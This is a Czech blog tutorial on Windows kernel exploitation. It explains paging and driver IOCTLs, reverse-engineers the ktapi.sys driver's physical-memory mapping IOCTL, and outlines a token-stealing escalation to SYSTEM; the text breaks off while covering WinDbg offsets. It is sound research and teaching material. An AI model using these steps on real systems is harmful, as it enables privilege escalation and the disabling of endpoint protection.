Vojtěch Hronn00bDebugger
Změnil jsem doménu webu na hron.re. Stará adresa vojtechhron.dev zatím funguje dál, ale od února 2027 bude jenom přesměrovávat, tak si prosím přenastav záložky a RSS. Proč jsem to udělal
Domů/Osobní Výzkum/Vývoj Exploitů/Od Čtení/Zápisu Fyzické Paměti k SYSTEM
Vývoj Exploitů

Od Čtení/Zápisu Fyzické Paměti k SYSTEM

Repozitář k tomuhle článkuOtevřít
Obsah · 64

Úvod

Při psaní článku Living off the Land jsem se u sekce BYOVD (Bring Your Own Vulnerable Driver) zasekl na jednom problému. Driver, na kterém jsem chtěl tuhle techniku ukázat, byl totiž Windowsem blokovaný kvůli tomu, že se už nějakou dobu zneužívá. V té době jsem ještě netušil, že existuje konkrétní Intel driver (iqvw64e.sys), který blokovaný není.

Takže jsem si musel poradit jinak. Vzal jsem jeden z driverů z LOLDrivers, který Windows bez problémů načetl, a pustil se do reverzování.

Protože jsem předtím nikdy nedělal kernel exploitaci, vůbec jsem neměl představu, jak dlouho mi to zabere. Z původního "max 10 hodin" se tak stal projekt na mnohem delší dobu. Během reverzování mi navíc došlo, že full driver exploit nestihnu do plánovaného vydání článku, takže jsem začal hledat jinou cestu. Nakonec jsem narazil na zmíněný Intel driver a použil už hotový PoC.

Po vydání článku jsem tenhle projekt odložil, hlavně proto, že jsem se blížil ke konci CRTO kurzu a chtěl jsem se soustředit na přípravu. Jakmile jsem ho ale dokončil, přišla mi škoda to celé zahodit (hlavně kvůli mojí slabosti pro low-level věci).

Tak jsem se do toho znovu ponořil. A rovnou říkám, cesta ke kernel exploitaci bez předchozích zkušeností byla dlouhá a občas dost nepříjemná, takže jsem sem chtěl napsat článek, který by mi v mé situaci o dost pomohl. A tady je výsledek.


Jak funguje Windows kernel

Než se dostaneme k tomu jak ovladač funguje a jak ho na příkladě můžeme exploitovat, je podle mě důležité probrat, jak vlastně Windows kernel funguje. Obecně, kernel kód mluví přímo s hardwarem, je to nejnižší a zároveň nejprivilegovanější vrstva celého operačního systému. Sedí mezi fyzickým hardwarem a aplikacemi, které na Windowsu spouštíme, a stará se o věci, ke kterým běžný program nesmí mít přístup: správu paměti, plánování vláken a procesů, síť a komunikaci s ovladači zařízení.

Důležité je pochopit, že kernel ovladače (drivery) nejsou "aplikace s vyššími právy". Běží v úplně jiném režimu procesoru než běžné programy a mají prakticky neomezenou moc nad celým systémem. Ovladač, který běží v jádře, je z pohledu procesoru rovnocenný samotnému jádru OS. Aby to vše dávalo smysl, musíme začít u toho, jak procesor tuto moc vůbec odděluje.

Privilegované úrovně - ringy

Procesory architektury x86/x64 mají zabudovaný hardwarový mechanismus oddělení práv, kterému se říká protection rings (ochranné úrovně). Architektura definuje 4 úrovně, Ring 0 až Ring 3, kde nižší číslo znamená větší oprávnění.

RingCo tam běžíOprávnění
Ring 0Jádro a ovladače (kernel mode)Plný přístup k privilegovaným instrukcím i hardwaru
Ring 1(historicky nevyužito)-
Ring 2(historicky nevyužito)-
Ring 3Běžné aplikace (user mode)Silně omezená, žádný přímý přístup k hardwaru

Windows v praxi používá jenom 2 z těchto úrovní - Ring 0 (kernel mode) a Ring 3 (user mode). Ringy 1 a 2 zůstávají prázdné (byly navrženy v době, kdy se počítalo, že operační systémy budou mít víc vrstev, ale moderní systémy tyto vrstvy nevyužívají).

Abych byl přesnější nad rámec těchto 4 úrovní dnes ještě existují "zápornější vrstvy", ale těm se dnes věnovat nebudeme:

  • Ring -1 - hypervisor (Intel VMX root, AMD SVM root). Běží pod jádrem a může kontrolovat i samotný Ring 0. Windows toho využívá u Hyper-V a technologie VBS/HVCI.
  • Ring -2 - SMM (System Management Mode), speciální režim firmwaru/BIOSu, do kterého nevidí ani operační systém.

Proč na ringu záleží

V Ring 3 procesor programu zakazuje spoustu věcí: nesmí přímo sahat na hardware, nesmí měnit tabulky stránek, nesmí vypnout přerušení atd. Pokud aplikace potřebuje něco, co umí jen jádro (otevřít soubor, alokovat paměť, poslat data na síť), musí o to požádat jádro přes tzv. syscall (instrukce syscall/sysenter). Ta bezpečně přepne procesor z Ring 3 na Ring 0, jádro požadavek zkontroluje, vykoná a vrátí zpět řízení.

Mezi Ring 3 a Ring 0 je tedy pevná zeď hlídaná procesorem. Ale mezi jádrem a ovladačem žádná taková zeď není - oba jsou v Ring 0. To je celý základ toho, proč je bezpečnost ovladačů tak důležitá, není to "aplikace s vysokými oprávněními", ale součást nejdůvěryhodnější části systému.

Virtuální vs fyzická paměť

Druhý pilíř, který musíme pochopit, je paměť. Existují na ni 2 různé pohledy:

  • Fyzická paměť - skutečné adresy v RAM (a také adresy namapovaných zařízení viz MMIO). Je to "reálný hardware": bajt na fyzické adrese odpovídá buňce v paměťovém modulu.
  • Virtuální paměť - abstrakce, kterou vidí každý proces. Každý proces má vlastní virtuální adresní prostor a myslí si, že má paměť sám pro sebe od nuly nahoru.

Virtuální paměť existuje hned z několika důvodů:

  1. Izolace - proces A nevidí do paměti procesu B. Stejná virtuální adresa 0x400000 v kontextu jiných procesů ukazuje na úplně jiné fyzické místo.
  2. Ochrana - každé stránce paměti lze nastavit práva (číst / zapisovat / spouštět) a procesor je vynucuje.
  3. Abstrakce - proces vidí souvislý blok paměti, i když je ve fyzické RAM roztroušený nebo dokonce dočasně uložený na disk (paging/swap).

Rozložení adresního prostoru ve Windows (x64)

Na 64bitových Windows se používají tzv. kanonické 48bitové adresy. Prostor se dělí na 2 poloviny:

kakonické_adresy_diagram.png

Důležitý detail: kernel space je namapovaný do každého procesu, ale je označený tak, aby k němu měl přístup jen Ring 0. Když tedy aplikace v Ring 3 zkusí sáhnout na kernelovou adresu, procesor to zablokuje. Jádro naopak vidí všechno.

Jak funguje překlad virtuální adresy na fyzickou

Tady je jádro celého mechanismu. Procesor nikdy nepracuje s virtuální adresou přímo - pokaždé když program čte nebo zapisuje, musí se virtuální adresa nejdřív přeložit na fyzickou. Tento překlad dělá hardwarová jednotka MMU (Memory Management Unit) pomocí datové struktury zvané tabulky stránek (page tables).

Paměť je rozdělená na stránky (obvykle po 4 KB). Překlad probíhá přes několik úrovní tabulek. Na x64 se standardně používá 4úrovňové stránkování. 48bitová virtuální adresa se rozloží takto:

kanonicke_adresy_preklad.png

Některé moderní x64 procesory už podporují i 5úrovňové stránkování (LA57), takže mají 57 bitové adresy, ale to je pro nás detail. V tomto článku budeme pracovat se 4úrovňovým stránkováním, které je na běžných Windows stále standardem.

Postup krok za krokem

  1. Procesor si z registru CR3 vezme fyzickou adresu nejvyšší tabulky (PML4) daného procesu. Právě proto má každá proces vlastní adresní prostor - při přepnutí se změní celé CR3, a tím pádem i celá "mapa" paměti. (Ve Windows se této hodnotě říká DirBase nebo DTB).

  2. Horních 9 bitů adresy poslouží jako index do PML4. Tam procesor najde odkaz na další tabulku (PDPT).

  3. Dalších 9 bitů indexuje PDPT -> odkaz na PD (Page Directory)

  4. Dalších 9 bitů indexuje PD -> odkaz na PT (Page Table)

  5. Dalších 9 bitů indexuje PT -> tady konečně najde fyzický rámec (číslo fyzické stránky).

  6. Spodních 12 bitů (offset) určí přesnou pozici uvnitř té 4KB stránky.

Protože každý takový průchod čtyřmi tabulkami při každém přístupu by byl pomalý, procesor si výsledky překladu ukládá do rychlé cache zvané TLB (Translation Lookaside Buffer). Existují také větší stránky (2mb a 1GB), které průchod zkracují.

Co je v jednom záznamu tabulky (PTE)

Každý záznam v tabulce stránek (Page Table Entry) neobsahuje jen adresu fyzického rámce, ale i bity oprávnění, které MMU vynucuje.

BitNázevVýznam
PPresentStránka je právě namapovaná ve fyzické RAM
R/WRead/Write0 = jen čtení, 1 = čtení i zápis
U/SUser/Supervisor0 = přístupné jen z Ring 0, 1 = i z Ring 3
NXNo-eXecuteZakázat spouštět kód z této stránky
AAccessedKe stránce se přistupovalo
DDirtyDo stránky se zapisovalo

Klíčovou myšlenku kterou se tady snažím ukázat je, že veškerá ochrana paměti (kdo smí číst, zapisovat i spouštět) je zapsaná v těchto tabulkách. A tabulky stránek samotných leží ve fyzické paměti. Celý bezpečnostní model stojí na předpokladu, že tyto tabulky (a fyzickou paměť obecně) spravuje výhradně důvěryhodné jádro a MMU. Kdo dokáže získat libovolný přístup k fyzické paměti, stojí pod touto abstrakcí.

Moderní ochrany kernelu

Protože je Ring 0 tak mocný, přidaly výrobci procesorů i Microsoft řadu ochran, které mají ztížit život útočníkovi, i když se do jádra nějak dostane:

  • DEP / NX (Data Execution Prevention) - Díky bitu NX nelze spustit kód z datových stránek. Zabijí klasické útoky typu "nahraju shellcode do bufferu a skočím na něj".

  • KASLR (Kernel Address Space Layout Randomization) - adresy jádra a ovladačů se při startu náhodně posunou, takže útočník neví předem, kde co v paměti leží.

  • SMEP (Supervisor Mode Execution Prevention) - brání tomu, aby jádro (Ring 0) spustilo kód ležící v user-mode stránce. Historicky oblíbený trik byl přesměrovat běh jádra na shellcode připravený v uživatelské paměti; SMEP to neumožňuje.

  • SMAP (Supervisor Mode Access Prevention) - brání jádru i jen číst/zapisovat uživatelské stránky, pokud si to výslovně nepovolí. Ztěžuje předání podvržených dat z user mode do jádra.

  • DSE (Driver Signature Enforcement) - 64bitové Windows odmítne načíst ovladač do jádra, pokud není digitálně podepsaný. Cílem je, aby se do Ring 0 nedostal libovolný kus kódu.

  • PatchGuard (KPP - Kernel Patch Protection) - na x64 Windows periodicky kontroluje integritu kritických struktur jádra (např. SSDT, IDT, GDT, klíčové části kódu). Když zjistí neoprávněnou úpravu, systém schválně spadne do BSOD. Má zabránit "patchování" a hookování jádra.

  • HVCI (Hypervisor-Enforced Code Integrity) - pomocí virtualizace (VBS) přesune kontrolu integrity kódu do izolované, privilegovanější vrstvy (Ring -1), než ve které běží samotné jádro. Průběžně vynucuje, že se v kernelu spustí jen podepsaný kód a že paměťová stránka nemůže být zároveň zapisovatelná i spustitelná. Na rozdíl od PatchGuardu, který kontroluje periodicky a běží na stejné úrovni jako hrozba, je enforcement HVCI architektonicky nad jádrem, takže ho kompromitované jádro nevypne.

  • CFG / kCFG (Control Flow Guard) - ověřuje cíle nepřímých volání, aby útočník nemohl snadno přesměrovat běh programu na libovolné místo.

Kde to všechno spojuje fyzická paměť

Když si to shrneme: skoro celý model bezpečnosti operačních systémů stojí na abstrakci virtuální paměti. Oddělení procesů, práva na čtení/zápis/spouštění, ochrana kernelového prostoru před uživatelským - to vše jsou pravidla zapsaná v tabulkách stránek, které leží ve fyzické paměti a o kterých se předpokládá že s nimi manipuluje jen důvěryhodné jádro.

Ovladač, který dokáže libovolně číst a zapisovat do fyzické paměti, se pohybuje pod touto abstrakcí - nehraje podle pravidel virtuální paměti, protože rovnou sahá na hardware, kde ta pravidla teprve vznikají. To je přesně důvod, proč podepsané ale zároveň zranitelné ovladače jsou tak nebezpečné. Tvoří bránu mezi Ring 0 a Ring 3, ale pokud existuje zranitelnost na straně ovladače. Útočník toho může zneužít a získat primitiva, které má v normálních podmínkách kernel bezpečně u sebe. Z toho pak vzniká technika známá jako BYOVD (Bring Your Own Vulnerable Driver), o které se můžete dočíst více z mého předchozího článku na toto téma.


Jak funguje Windows driver

V předchozí sekci jsme si řekli, že ovladač běží v Ring 0 a je z pohledu procesoru rovnocenný samotnému jádru. Teď se podíváme na to, jak ovladač vlastně funguje zevnitř - jak se načte, jak si vytvoří "vstupní bránu" pro komunikaci a hlavně jak s ním mluví kód z user mode. Právě tenhle komunikační kanál je totiž místo, kde většina útoků na ovladače probíhá.

Co je ovladač

Ovladač (driver) je v podstatě kus kódu, který běží v kernelu a rozšiřuje jádro o nějakou funkcionalitu. Nejčastěji jde o obsluhu hardwaru (grafická nebo síťová karta, disk...), ale ne vždycky. Existuje spousta čistě softwarových ovladačů, které žádný fyzický hardware neobsluhují (antiviry, virtualizační nástroje, monitorovací utility...). Ovladače můžeme poznat pomocí přípony .sys.

Protože ovladač běží v Ring 0, platí pro něj všechno co jsme si řekli o kernelu:

  • Sdílený adresní prostor - všechny ovladače a jádro sdílejí 1 kernelový adresní prostor. Chyba v jednom ovladači může tak přepsat paměť jádra nebo jiného ovladače.

  • Žádná záchranná síť - když spadne aplikace v Ring 3, systém běží dál. Když to samé udělá ovladač v Ring 0, vezme sebou celý systém do BSOD.

  • Plný přístup - ovladač má plný přístup k fyzické paměti, k privilegovaným CPU instrukcím a ke strukturám jádra, na které se z user mode nedá sáhnout.

Typy ovladačů a frameworky

Ne všechny ovladače jsou si rovné. Windows historicky podporuje několik modelů, jak ovladač napsat:

ModelNázevPopis
WDMWindows Driver ModelStarší, nízkoúrovňový model. Ovladač pracuje přímo s IRP a kernelovými strukturami. Velká flexibilita, ale i velká zodpovědnost, víc prostoru pro chyby.
WDF/KMDFKernel-Mode Driver FrameworkNovější framework nad WDM. Spoustu věcí (správa napájení, PnP, synchronizace) řeší framework za vývojáře. Méně boilerplate, méně chyb.
UMDFUser-Mode Driver FrameworkOvladač běží v user mode (Ring 3). Bezpečnější, ale s omezeními - nemá přímý přístup k hardwaru ani ke kernelové paměti.

WDM dává vývojáři největší kontrolu, a tím i největší zodpovědnost. Chyby v něm bývají častější, protože framework neřeší tolik věcí za něj.

U kernel-mode frameworků WDM a KMDF platí, že ovladač funguje v Ring 0. Liší se jen mírou abstrakce, kterou framework poskytuje. UMDF je ale jiný případ, běží v user mode a má odlišný životní cyklus.

Jak se ovladač načte do systému

Ovladač se ve Windows registruje jako služba (service) typu kernel driver. Celý proces načtení potom vypadá takto:

  1. Registrace - ovladač (.sys soubor) se zaregistruje jako služba, typicky přes Win32 API CreateService nebo přímým zápisem do registru pod HKLM\SYSTEM\CurrentControlSet\Services\<název>. Tady se nastaví cesta k .sys souboru, typ služby (SERVICE_KERNEL_DRIVER) a způsob spuštění.

  2. Kontrola podpisu - než se ovladač načte, zkontroluje se jeho podpis (DSE). Pokud ovladač není platně podepsaný, systém ho odmítne.

  3. Spuštění služby - voláním StartService (nebo automaticky při startu systému) se ovladač načte do kernelového adresního prostoru.

  4. DriverEntry - po načtení systém zavolá vstupní bod ovladače, funkci DriverEntry. Je to obdoba main() v běžném programu. Tady si ovladač připraví svoje struktury, zaregistruje obslužné funkce a vytvoří device object (viz níže).

NTSTATUS DriverEntry(
    PDRIVER_OBJECT  DriverObject,    // ukazatel na objekt ovladače
    PUNICODE_STRING RegistryPath    // cesta v registru
);

Načtení ovladače vyžaduje administrátorská práva, konkrétně oprávnění SeLoadDriverPrivilege. To je právě předpoklad pro BYOVD: útočník musí být zpravidla administrátor aby mohl ovladač vůbec načíst.

Aby s ovladačem mohl někdo komunikovat, potřebuje "vstupní bránu". Tu si ovladač vytváří v DriverEntry:

  1. Device Object - ovladač zavolá IoCreateDevice a tím vytvoří objekt zařízení. Ten existuje v kernelu a reprezentuje "instanci" ovladače, se kterou se dá komunikovat.

  2. Symbolický link - device není sám o sobě vidět z user mode). Proto mu ovladač přiřadí symbolický link voláním IoCreateSymbolicLink, typicky ve tvaru \\.\MujDriver (můžete narazit i na tvar \\DosDevices\MujDriver). Právě přes tenhle symlink se na ovladač dá "sáhnout" z Ring 3.

// Vytvoření device objectu
IoCreateDevice(
    DriverObject,           // objekt ovladače
    0,                      // velikost device extension
    &deviceName,            // interní jméno (\Device\MujDriver)
    FILE_DEVICE_UNKNOWN,    // typ zařízení
    0,                      // charakteristiky
    FALSE,                  // exkluzivní přístup
    &deviceObject           // výstup: ukazatel na device object
);

// Vytvoření symlinku viditelného z user mode
IoCreateSymbolicLink(
    &symlinkName,           // \\.\MujDriver (\\DosDevices\MujDriver)
    &deviceName             // \Device\MujDriver
);

Aplikace z user mode pak na ovladač přistoupí úplně stejně, jako by otevírala soubor:

HANDLE hDevice = CreateFile(
    "\\\\.\\MujDriver",     // symbolický link
    GENERIC_READ | GENERIC_WRITE,
    0, NULL,
    OPEN_EXISTING,
    0, NULL
);

Tím získá handle, přes který s ovladačem dál komunikuje.

Tady je důležitý bezpečnostní detail: ovladač může (a měl by) na device object nastavit ACL (Access Control List), který říká, kdo smí zařízení otevřít. Spousta zranitelných ovladačů ale ACL buď nenastaví vůbec, nebo ho nastaví příliš volně - pak může s ovladačem komunikovat neprivilegovaný proces.

Komunikace mezi user mode a kernelem: IRP a Major Functions

Když aplikace z user mode něco po ovladači chce (otevřít ho, číst z něj, poslat mu příkaz), Windows to interně zabalí do struktury zvané IRP (I/O Request Packet) a předá ji ovladači.

Ovladač si v DriverEntry zaregistruje obslužné funkce pro jednotlivé typy požadavků. Ty se nazývají major functions a ukládají se do pole MajorFunctions ve struktuře DRIVER_OBJECT:

Major FunctionOdpovídá volání z user modeCo dělá
IRP_MJ_CREATECreateFileOtevření handle na zařízení
IRP_MJ_CLOSECloseHandleZavření handle
IRP_MJ_READReadFileČtení dat ze zařízení
IRP_MJ_WRITEWriteFileZápis dat do zařízení
IRP_MJ_DEVICE_CONTROLDeviceIoControlCustom příkaz (IOCTL)

Registrace v kódu vypadá takto:

DriverObject->MajorFunction[IRP_MJ_CREATE]         = MyCreateHandler;
DriverObject->MajorFunction[IRP_MJ_CLOSE]          = MyCloseHandler;
DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = MyIoctlHandler;

Celý flow tedy vypadá tak, že aplikace zavolá třeba CreateFile -> Windows z toho vytvoří IRP typu IRP_MJ_CREATE -> I/O Manager ho doručí ovladači -> ovladač ho zpracuje ve svém handleru a výsledek vrátí zpátky.

IOCTL - custom API ovladače

Tady je jádro celé věci, a zároveň místo, kde většina útoků na ovladače reálně probíhá.

Zatímco IRP_MJ_READ a IRP_MJ_WRITE slouží k přenosu dat, IRP_MJ_DEVICE_CONTROL obsluhuje tzv. IOCTL (I/O Control Code) - vlastní příkazy, které si ovladač sám definuje. Je to v podstatě custom API ovladače: "udělej tuhle konkrétní věc s těmihle daty".

Z user mode se IOCTL volá funkcí DeviceIoControl:

DeviceIoControl(
    hDevice,            // handle z CreateFile
    IOCTL_CODE,         // kód příkazu (co má ovladač udělat)
    inputBuffer,        // vstupní data pro ovladač
    inputSize,          // velikost vstupních dat
    outputBuffer,       // buffer pro odpověď
    outputSize,         // velikost výstupního bufferu
    &bytesReturned,     // kolik bajtů ovladač vrátil
    NULL
);

Jak se IOCTL kód skládá

IOCTL kód není náhodné číslo (i přes to že to tak někdy může vypadat), má pevně danou strukturu definovanou makrem CTL_CODE:

#define IOCTL_READ_PHYS_MEM  CTL_CODE(
    FILE_DEVICE_UNKNOWN,    // typ zařízení
    0x800,                  // funkční kód (0x800+ = uživatelsky definované)
    METHOD_BUFFERED,        // přenosová metoda
    FILE_ANY_ACCESS         // požadovaná přístupová práva
)
PoleVýznam
DeviceTypeTyp zařízení (většinou FILE_DEVICE_UNKNOWN u SW ovladačů)
FunctionČíslo příkazu. Hodnoty 0x000-0x7FF jsou rezervované pro Microsoft, 0x800+ jsou pro vlastní použití.
MethodJak se přenášejí data mezi user a kernel mode (viz níže)
AccessJaká práva musí mít handle (FILE_READ_ACCESS, FILE_WRITE_ACCESS, FILE_ANY_ACCESS)

Přenosové metody (transfer methods)

Pole Method v IOCTL kódu určuje, jak Windows předá data mezi usermode bufferem a kernelem. Tohle je důležité, protože špatně zvolená nebo špatně ošetřená metoda je častý zdroj zranitelností:

MetodaJak fungujeBezpečnost
METHOD_BUFFEREDSystém alokuje kernelový buffer, zkopíruje do něj vstupní data z user mode a po zpracování zkopíruje výstup zpátky. Ovladač pracuje jen s kernelovou kopií.Nejbezpečnější, kernel a user buffery jsou oddělené.
METHOD_IN_DIRECT / METHOD_OUT_DIRECTVstupní buffer se zkopíruje jako u buffered, ale výstupní (nebo vstupní u IN) buffer se namapuje přes MDL (Memory Descriptor List) přímo do kernelového prostoru.Středně bezpečné, MDL zajistí, že stránky zůstanou zamčené v paměti.
METHOD_NEITHERSystém nic nekopíruje a nic nevaliduje. Ovladač dostane surové ukazatele z user mode (IRP->UserBuffer, Parameters.DeviceIoControl.Type3InputBuffer) a musí si sám ověřit, že ukazují do user-space a že jsou platné.Nejnebezpečnější, pokud ovladač nevaliduje, útočník může podstrčit kernelovou adresu a ovladač na ni zapíše.

Spousta zranitelných ovladačů používá METHOD_NEITHER a neprovádí žádnou validaci ukazatelů. Útočník pak může jako "výstupní buffer" podstrčit adresu v kernelové paměti a ovladač tam poslušně zapíše data, čímž efektivně získá arbitrary write primitivum v Ring 0.

Kde to všechno spojuje bezpečnost

Když si to celé shrneme, ovladač vystavuje komunikační kanál z user mode (Ring 3) do kernel mode (Ring 0). Celý řetězec vypadá takto:

  1. CreateService / StartService - ovladač se načte do kernelu.

  2. CreateFile na \\.\MujDriver - otevření handle na device object.

  3. DeviceIoControl s IOCTL kódem a bufferem - odeslání příkazu.

A přesně tady vzniká problém. Spousta ovladačů (hlavně starších OEM/utilitních) nabízí přes IOCTL nebezpečné mocné operace - jako "zapiš tuhle fyzickou adresu", "přečti tenhle MSR (Model-Specific Register)" nebo "namapuj tuhle fyzickou adresu do user mode". A nedostatečně kontroluje, kdo a s jakými parametry je volá. Ovladač pak funguje něco jako proxy do Ring 0: útočník si z user mode pošle přes DeviceIoControl podvržený buffer a donutí ovladač, aby za něj provedl operaci, ke které by jinak z Ring 3 neměl přístup.

Jak jsme si řekli v předchozí sekci, veškerá ochrana paměti stojí na tabulkách stránek, které leží ve fyzické paměti. Ovladač, který umožní libovolné čtení a zápis do fyzické paměti, se pohybuje pod touto abstrakcí, a tím pádem může obejít prakticky celý bezpečnostní model systému.


Útoky v praxi

Je dobré si útoky na ovladače nějak roztřídit. Pojem "útok na ovladač" je totiž velmi široký a každý scénář má svoje předpoklady, svoji závažnost a brání se proti němu jinak. Když si je rozdělíme, líp se v nich zorientujeme, a můžeme k nim přiřadit adekvátní obranu.

V praxi si můžeme útoky rozdělit podle 2 os:

  • podle původu ovladače - jak se zranitelný ovladač vůbec na systém dostane

  • podle cíle - jakého cíle chce útočník dosáhnout zneužitím ovladače

Podle původu ovladače

BYOVD (Bring Your Own Vulnerable Driver)

Zranitelný ovladač si na systém útočník přinese sám. Ovladač je sice podepsaný (takže projde přes DSE), ale má v sobě zranitelnost. Výhodu to pro útočníka má tu, že nemusí spoléhat na to, co na systému už je, může si přinést vlastní ovladač, na který už má funkční exploit. Nese to ale i nevýhodu: útočník už zpravidla musí mít na počítači administrátorský přístup, aby ovladač vůbec načetl.

Ovladač už na systému

V tomhle případě útočník zneužije ovladač, který je na stroji už nainstalovaný (OEM utilita, ovladač grafiky, antivir…). Výhoda pro útočníka je, že nemusí nic instalovat a s sebou přinášet, takže to nevzbudí podezření z načtení nového ovladače. Nevýhodu to ale má: útočník je odkázaný na to, co už na systému je.

Podle cíle

  • Eskalace práv (LPE) - získat vyšší oprávnění, ideálně až Ring 0 / SYSTEM.

  • Vypnutí ochran - přes přístup do kernelu shodit nebo oslepit EDR/AV. Častý cíl BYOVD.

  • Persistence - udržet se v systému skrytě a přežít restart (rootkity).


Zranitelný ovladač ktapi.sys

Teď když máme teoretický základ můžeme se pustit do ovladače jako takového. ktapi.sys je legacy cross-signed ovladač společnosti Kornton, jeho celý název je "Korton Technology Application Programming Interface". Ovladač byl použit ransomwarovou skupinou The Gentleman v rámci BYOVD útoku, kterým získali možnost deaktivovat ochranu na stroji. Zajímavé je že jde o velmi málo známý ovladač, před veřejnou publikací Expelu (kterou doporučuju přečíst, protože ukazují, jak funguje exploit ransomwarové skupiny jako takové) byla o něm na googlu jediná zmínka a to dokonce bez odkazu na stáhnutí.


Reverzní inženýrství ovladače ktapi.sys

DriverEntry

Každý ovladač má DriverEntry, jak jsem již zmiňoval je to něco jak main u klasického C programu. U tohohle konkrétního ovladače vypadal DriverEntry následovně:

ktapi_RE_driverEntry.png

Tento kód by šel rozložit to následujících kroků:

Příprava jmen

builtin_wcsncpy(internalName,L"\\Device\\ktapi",0xe);
memcpy(externalName,L"\\DosDevices\\ktapi",0x24);
  • internalName = \Device\ktapi - jméno objektu zařízení v objektovém namespace jádra.
  • externalName = \DosDevices\ktapi - symbolický link, přes který se dá zařízení otevřít z user-space jako \\.\ktapi.

Inicializace UNICODE_STRING a vytvoření zařízení

RtlInitUnicodeString(&deviceName,internalName);
Result = IoCreateDevice(DriverObject,0,&deviceName,
                        0x8000,        // DeviceType = FILE_DEVICE_UNKNOWN 
                        0,             // DeviceCharacteristics
                        '\0',          // Exclusive = False
                        &DeviceObject);
  • 0x8000 = FILE_DEVICE_UNKNOWN
  • 0 = žádná rozšíření (DeviceExtensions size 0)
  • FALSE = není exkluzivní (může ho otevřít víc procesů)

Registrace dispatch rutin

Tady Ghidra nepřiřadila automaticky názvy dispatch rutin, můžeme si to tahle upravit:

DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = IoctlHandler; // 0xE
DriverObject->MajorFunction[IRP_MJ_CLOSE]          = IoctlHandler; // 0x2
DriverObject->MajorFunction[IRP_MJ_CREATE]         = IoctlHandler; // 0x0
DriverObject->DriverUnload                         = DriverUnloader;

Teď si můžeme všimnout že veškeré vlastnosti ovladače jsou přiřazeny IoctlHandler funkci.

Vytvoření symbolického linku

RtlInitUnicodeString(&symbolicLinkName, externalName);
Result = IoCreateSymbolicLink(&symbolicLinkName, &deviceName);
if (Result < 0) {
    IoDeleteDevice(DeviceObject);
}

Tato část kódu propojí \DosDevices\ktapi s \Device\ktapi, díky této části kódu jsme schopni se dostat k ovladači z userspace. Pokud link nepůjde vytvořit, zařízení se smaže (udělá po sobě cleanup).

IoctlHandler

Takhle vypadá celý částečně dekompilovaná IoctlHandler:

ktapi_RE_IoctlHandler.png

Důvod proč jsem ho nedekompiloval celý je, že většina z toho je boilerplate kód a hlavní co si potřebujeme odsud odnést jsou IOCTL kódy a co dělají:

IOCTLVýznam
0x82007000mapPhysicalMemory - namapuje fyzickou paměť do user-space
0x82007100unmap - ZwUnmapViewOfSection nad dříve namapovanou sekcí
0x82007200runPortloScript - spustí mini-bytecode, který umí in/out na libovolný port

A my se teď zaměříme na mapování fyzické paměti.

mapPhysicalMemory

Teď už se dostáváme do hlavní funkce která mapuje fyzickou paměť:

ktapi_RE_mapPhysicalMemory.png

Funkce má následující signaturu:

NTSTATUS mapPhysicalMemory(PDEVICE_OBJECT DeviceObject,
                           userInputStruct *userData,
                           ULONG outputLen,
                           ULONG inputLen)

První věc, na kterou se zaměříme je kontrola vstupní a výstupní velikosti. Driver očekává minimálně 24 bajtů (0x18) na vstupu a 8 bajtů na výstupu. Pro vstup se používá struktura která vypadá takto:

OffsetVelikostPole
0x004InterfaceType
0x044BusNumber
0x088BusAddress
0x104AddressSpace
0x144Length

Samotná funkce pak provádí tyto kroky:

  1. Otevře sekci \Device\PhysicalMemory přes ZwOpenSection s access maskem 0xF001F, což odpovídá plnému přístupu (read, write, execute, extend).

  2. Získá referenci na objekt sekce přes ObReferenceObjectByHandle.

  3. Přeloží bus adresu na fyzickou adresu pomocí HalTranslateBusAddress (dvakrát, pro začátek i konec rozsahu).

  4. Namapuje fyzickou paměť do našeho procesu přes ZwMapViewOfSection s protection flagy PAGE_READWRITE | PAGE_NOCACHE (0x204).

  5. Zapíše výslednou virtuální adresu na offset 0x00 vstupní struktury, odkud si ji uživatel může přečíst.

Nejdůležitější částí je volání ZwMapViewOfSection:

status = ZwMapViewOfSection(hPhysicalMemorySection,
                            (HANDLE)-1,             // aktuální proces
                            &local_80,              // kam se uloží VA
                            0,
                            length,                 // velikost mapování
                            &local_70,              // offset v sekci
                            &length,
                            1,                      // ViewShare
                            0,
                            0x204);                 // PAGE_READWRITE | PAGE_NOCACHE

Druhý argument (HANDLE) -1 znamená, že se paměť mapuje do našeho procesu. Flag PAGE_NOCACHE je v tomhle kontextu klíčový - obchází CPU cache, takže změny, které zapíšeme vidí kernel okamžitě, a naopak.

Abych byl přesný, funkce bere jako vstup bus adresu a překládá ji na fyzickou adresu, kterou pak mapuje. Na většině systémů (bez IOMMU) je bus adresa rovna té fyzické, takže je to v praxi jedno. Na serverech s IOMMU by se výsledek lišil a exploit vysvětlený níže by nefungoval.

Driver nekontroluje maximální velikost požadovaného mapování. Jediné omezení je minimum (24 bajtů vstup, 8 bajtů výstup). Teoreticky by jsme tedy mohli požádat o namapování celé fyzické paměti jedním IOCTL. V praxi ale narazíme na limit HalTranslateBusAddress, které na testovaném systému (VirtualBox) odmítá překládat rozsahy větší než 2 MB.


Vytváření PoC exploitu pro ktapi.sys

Díky primitivu čtení a zápisu fyzické RAM, který nám driver ochotně vydá, můžeme eskalovat na SYSTEM oprávnění. Exploit který jsem vytvořil má následující postup:

  1. Otevře driver \\.\ktapi přes CreateFileA -> dostaneme handle.

  2. Namapuje fyzickou paměť přes IOCTL 0x82007000 -> driver vrátí virtuální adresu v našem procesu, která je namapovaná na požadovanou fyzickou paměť.

  3. Najde ntosBase (kde leží jádro) přes EnumDeviceDrivers.

  4. Najde CR3 v Low Stub (prvních 16 MB fyzické paměti) -> startovní bod pro překlad adres.

  5. Přeloží virtuální adresy na fyzické pomocí page-table walku (PML4 -> PDPT -> PD -> PT).

  6. Najde PsInitialSystemProcess v exportech ntoskrnl -> obsahuje adresu SYSTEM procesu.

  7. Projde procesní seznam od SYSTEM přes ActiveProcessLinks -> najde svůj vlastní EPROCESS.

  8. Přečte token SYSTEM z jeho EPROCESS (offset 0x4B8).

  9. Přepíše svůj token tokenem SYSTEM -> náš exploit má teď práva SYSTEM.

  10. Spustí powershell a máme SYSTEM oprávnění.

Nalezení potřebných offsetů

Abychom mohli v paměti najít konkrétní kernel symboly, potřebujeme znát jejich offsety od ntosBase. Abychom mohli číst pole v kernel strukturách, potřebujeme znát offsety polí v těchto strukturách. Oba typy offsetů zjistíme ve WinDbg.

WinDbg příkazy

Pro symboli od ntosBase:

? nt!HalpLMStub - nt

Pro pole v _EPROCESS:

